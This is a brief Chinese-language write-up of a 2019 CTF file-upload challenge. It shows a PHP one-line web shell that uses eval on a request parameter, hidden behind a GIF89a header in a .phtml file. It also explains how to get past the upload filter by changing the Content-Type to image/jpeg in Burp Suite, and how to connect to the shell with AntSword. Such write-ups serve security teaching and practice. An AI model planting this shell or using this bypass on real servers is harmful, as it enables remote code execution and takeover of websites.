[极客大挑战 2019]Upload 1 文件上传无疑。这里明确指出要上传图像,我们肯定是要上传一句话木马的。这里的前端是没有js事件的,而且是过滤了.php后缀的。 常见的一句话木马 test.phtml GIF89a? <script language='php'>@eval($_REQUEST[a]);</script> 接着上传该文件,然后使用burpsuite抓个包。 这里把文件类型(Content-Type)改成image/jpeg,即可绕过过滤。 上传成功使用中国蚁剑连接该页面。注意上传文件的目录在upload下。